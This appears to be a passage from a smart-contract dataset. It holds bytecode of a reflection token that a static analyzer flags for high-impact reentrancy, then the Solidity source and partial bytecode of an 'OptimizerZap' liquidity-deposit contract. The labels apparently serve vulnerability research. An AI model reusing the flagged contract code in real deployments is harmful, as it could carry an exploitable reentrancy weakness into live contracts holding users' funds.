ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fde59f920876d6d6b80b15e8278672233f44845360d6b4c5bb87ff03795a6e5e64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,839 |
0x34e9e83608790e91ebd14f0f84da35bb21cbd3f5 | /**
*Submitted for verification at Etherscan.io on 2021-11-06
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
interface IPopsicleV3Optimizer {
function token0() external view returns (address);
function token1() external view returns (address);
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
)
external
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IChi is IERC20 {
function mint(uint256 value) external;
function free(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
interface IGasDiscountExtension {
function calculateGas(uint256 gasUsed, uint256 flags, uint256 calldataLength) external view returns (IChi, uint256);
}
interface IAggregationExecutor is IGasDiscountExtension {
function callBytes(bytes calldata data) external payable; // 0xd9c45357
}
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
}
interface IRouter {
struct SwapDescription {
IERC20 srcToken;
IERC20 dstToken;
address srcReceiver;
address dstReceiver;
uint256 amount;
uint256 minReturnAmount;
uint256 flags;
bytes permit;
}
function swap(IAggregationExecutor caller, SwapDescription calldata desc, bytes calldata data) external payable returns (uint256 returnAmount, uint256 gasLeft);
function unoswap(IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata ) external payable returns(uint256 returnAmount);
}
contract OptimizerZap {
IRouter constant router = IRouter(0x11111112542D85B3EF69AE05771c2dCCff4fAa26);
address constant eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public immutable DAO;
struct Cache {
uint256 amount0;
uint256 amount1;
uint256 return0Amount;
uint256 return1Amount;
}
struct TokenData {
bool IsUno;
IAggregationExecutor caller;
IRouter.SwapDescription desc;
bytes data;
bytes32[] pools;
}
constructor(address _DAO) {
DAO = _DAO;
}
function DepositInEth(address optimizer, address to, TokenData calldata tokenData) external payable {
uint value = msg.value;
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
IWETH9(weth).deposit{value: value}();
_approveToken(weth, optimizer, value);
require(token0 == weth || token1 == weth, "BO");
if (token0 == weth) {
require(token1 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token1, msg.sender, address(this), tokenData.desc.amount);
_approveToken(token1, optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) = IPopsicleV3Optimizer(optimizer).deposit(value, tokenData.desc.amount, to);
uint256 res0 = value-amount0;
uint256 res1 = tokenData.desc.amount-amount1;
if (res0 > 0 ) TransferHelper.safeTransfer(token0, to, res0);
if (res1 > 0 ) TransferHelper.safeTransfer(token1, to, res1);
} else {
require(token0 == address(tokenData.desc.srcToken), "TNA");
TransferHelper.safeTransferFrom(token0, msg.sender, address(this), tokenData.desc.amount);
_approveToken(token0, optimizer, tokenData.desc.amount);
(, uint256 amount0,uint256 amount1) =IPopsicleV3Optimizer(optimizer).deposit(tokenData.desc.amount, value, to);
uint256 res0 = tokenData.desc.amount-amount0;
uint256 res1 = value-amount1;
if (res0 > 0 ) TransferHelper.safeTransfer(token0, to, res0);
if (res1 > 0 ) TransferHelper.safeTransfer(token1, to, res1);
}
}
function ZapIn(address tokenIn, uint amount, address optimizer, address to, TokenData calldata token0Data, TokenData calldata token1Data) external payable {
require(optimizer != address(0));
require(to != address(0));
address token0 = IPopsicleV3Optimizer(optimizer).token0();
address token1 = IPopsicleV3Optimizer(optimizer).token1();
require(tokenIn == address(token0Data.desc.srcToken), "NAT0");
require(tokenIn == address(token1Data.desc.srcToken), "NAT1");
require(token0 == address(token0Data.desc.dstToken), "IT0");
require(token1 == address(token1Data.desc.dstToken), "IT1");
require(token0Data.desc.amount + token1Data.desc.amount <= amount, "IA");
Cache memory cache;
if (tokenIn == eth || tokenIn == address(0)) {
require(amount <= msg.value, "BA");
if (token0 == weth) {
IWETH9(weth).deposit{value: token0Data.desc.amount}();
_approveToken(weth, optimizer, token0Data.desc.amount);
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
_approveToken(token1, optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(token0Data.desc.amount, cache.return1Amount, to);
cache.return0Amount = token0Data.desc.amount-cache.amount0;
cache.return1Amount = cache.return1Amount-cache.amount1;
if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount);
if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount);
} else if (token1 == weth) {
IWETH9(weth).deposit{value: token1Data.desc.amount}();
_approveToken(weth, optimizer, token1Data.desc.amount);
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
_approveToken(token0, optimizer, cache.return0Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, token1Data.desc.amount, to);
cache.return0Amount = cache.return0Amount-cache.amount0;
cache.return1Amount = token1Data.desc.amount-cache.amount1;
if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount);
if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount);
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data);
}
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data);
}
_approveToken(token0, optimizer, cache.return0Amount);
_approveToken(token1, optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
cache.return0Amount = cache.return0Amount-cache.amount0;
cache.return1Amount = cache.return1Amount-cache.amount1;
if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount);
if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount);
}
return;
} else {
TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amount);
_approveToken(tokenIn, address(router), amount);
if (tokenIn == token0) {
cache.return0Amount = token0Data.desc.amount;
} else {
if (token0Data.IsUno)
{
cache.return0Amount = router.unoswap(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools);
} else {
(cache.return0Amount, ) = router.swap(token0Data.caller, token0Data.desc, token0Data.data);
}
}
if (tokenIn == token1) {
cache.return1Amount = token1Data.desc.amount;
} else {
if (token1Data.IsUno)
{
cache.return1Amount = router.unoswap(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools);
} else {
(cache.return1Amount, ) = router.swap(token1Data.caller, token1Data.desc, token1Data.data);
}
}
_approveToken(token0, optimizer, cache.return0Amount);
_approveToken(token1, optimizer, cache.return1Amount);
(, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to);
cache.return0Amount = cache.return0Amount-cache.amount0;
cache.return1Amount = cache.return1Amount-cache.amount1;
if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount);
if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount);
return;
}
}
function _approveToken(
address token,
address spender,
uint256 amount
) internal {
if (IERC20(token).allowance(address(this), spender) > 0) IERC20(token).approve(spender, 0);
IERC20(token).approve(spender, amount);
}
/* ======= AUXILLIARY ======= */
/**
* @notice allow anyone to send lost tokens to the DAO
* @return bool
*/
function recoverLostToken( address _token ) external returns ( bool ) {
TransferHelper.safeTransfer(_token, DAO, IERC20( _token ).balanceOf( address(this)));
return true;
}
function refundETH() external returns ( bool ) {
if (address(this).balance > 0) TransferHelper.safeTransferETH(DAO, address(this).balance);
return true;
}
} | 0x60806040526004361061005a5760003560e01c806398fabd3a1161004357806398fabd3a1461009f5780639db005c5146100c1578063b4abccba146100d45761005a565b806312210e8a1461005f578063663f10c81461008a575b600080fd5b34801561006b57600080fd5b506100746100f4565b60405161008191906123fd565b60405180910390f35b61009d610098366004612122565b61012c565b005b3480156100ab57600080fd5b506100b46106d4565b604051610081919061235e565b61009d6100cf366004612182565b6106f8565b3480156100e057600080fd5b506100746100ef3660046120e3565b611a99565b60004715610126576101267f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37347611b57565b50600190565b600034905060008473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561017957600080fd5b505afa15801561018d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b19190612106565b905060008573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156101fb57600080fd5b505afa15801561020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102339190612106565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561029157600080fd5b505af11580156102a5573d6000803e3d6000fd5b50505050506102c973c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28785611c10565b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2148061032a575073ffffffffffffffffffffffffffffffffffffffff811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b610369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612760565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561053e576103a860408501856128c9565b6103b69060208101906120e3565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461041a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612797565b61043681333061042d60408901896128c9565b60800135611dd0565b610451818761044860408801886128c9565b60800135611c10565b60008073ffffffffffffffffffffffffffffffffffffffff8816638dbdbe6d8661047e60408a018a6128c9565b608001358a6040518463ffffffff1660e01b81526004016104a1939291906127ce565b606060405180830381600087803b1580156104bb57600080fd5b505af11580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190612296565b90935091505081850360008261050c60408a018a6128c9565b60800135039050811561052457610524868a84611f32565b801561053557610535858a83611f32565b505050506106cc565b61054b60408501856128c9565b6105599060208101906120e3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612797565b6105d082333061042d60408901896128c9565b6105e2828761044860408801886128c9565b60008073ffffffffffffffffffffffffffffffffffffffff8816638dbdbe6d61060e60408901896128c9565b60800135878a6040518463ffffffff1660e01b8152600401610632939291906127ce565b606060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106849190612296565b9093509150600090508261069b60408901896128c9565b6080013503905081860381156106b6576106b6868a84611f32565b80156106c7576106c7858a83611f32565b505050505b505050505050565b7f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37381565b73ffffffffffffffffffffffffffffffffffffffff841661071857600080fd5b73ffffffffffffffffffffffffffffffffffffffff831661073857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b89190612106565b905060008573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561080257600080fd5b505afa158015610816573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083a9190612106565b905061084960408501856128c9565b6108579060208101906120e3565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146108bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906125a8565b6108c860408401846128c9565b6108d69060208101906120e3565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906125df565b61094760408501856128c9565b6109589060408101906020016120e3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146109bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612729565b6109c960408401846128c9565b6109da9060408101906020016120e3565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612571565b86610a4c60408501856128c9565b60800135610a5d60408701876128c9565b60800135011115610a9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612684565b610aa2612099565b73ffffffffffffffffffffffffffffffffffffffff891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1480610aee575073ffffffffffffffffffffffffffffffffffffffff8916155b156116bb5734881